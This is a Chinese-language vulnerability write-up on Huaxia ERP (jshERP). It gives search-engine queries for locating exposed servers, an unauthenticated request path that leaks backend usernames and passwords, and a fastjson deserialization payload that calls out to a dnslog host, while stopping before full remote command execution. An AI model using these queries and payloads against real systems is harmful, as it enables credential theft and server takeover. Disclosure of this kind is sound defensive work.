华夏erp账号密码泄露+后台rce（最新组合漏洞)

0x01 阅读须知

凯撒安全实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

0x02 漏洞原理

华夏ERP是一种企业资源规划（ERP）软件，旨在为企业提供全面的信息管理和集成解决方案，以提高效率、降低成本并优化业务流程。该软件可以帮助企业管理各种业务功能，例如财务、销售、采购、库存、生产计划等。它还具有报告和分析功能，使企业能够更好地了解其业务运营情况。华夏ERP通常用于中小型企业。

华夏ERP前台泄露了某api接口，恶意攻击者可通过调用该接口，对用户的账号和密码进行非授权访问，在获取到账号和密码后，恶意攻击者可接管后台。且后台的pom.xml文件引入了fastjson框架。攻击者可通过指定api接口，实现后台远程命令执行。

0x03 漏洞利用

fofa语法："jshERP-boot"

hunter: web.icon=="f6efcd53ba2b07d67ab993073c238a11"

POC：‍‍‍/jshERP-boot/user/getAllList;.ico  通过访问此接口，前台非授权获取到后台用户的账号密码

password参数的值进行解密处理：

直接使用账号密码登录后台：

后续利用：
后台的pom.xml文件中引用了fastjson，版本为1.2.55，那我们这边也是尝试一下看看，是否存在fastjson反序列化漏洞。直接开启bp进行fastjson被动扫描。
可以看到插件也是通过延迟扫描 探测出了后台存在fastjson漏洞：

通过查看数据包可以发现  漏洞点位于search参数 ：

构造poc 进行出网探测并将poc进行url编码：
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}

反弹dnslog成功  将poc稍作修改即可rce（此处出于安全考虑 未做进一步攻击）：

关注公众号 后台发送fastjson，获取fastjson被动扫描工具

零日/一日 漏洞探讨加 Seven_-0928

本实验室接受正规站点的授权渗透测试服务。如你的公司业务有Web渗透测试，高级渗透测试，红蓝对抗，黑客溯源，Java代码审计等需求可联系以下微信进行商务洽谈：Xud330327

原文始发于微信公众号（凯撒安全实验室）：华夏erp账号密码泄露+后台rce（最新组合漏洞)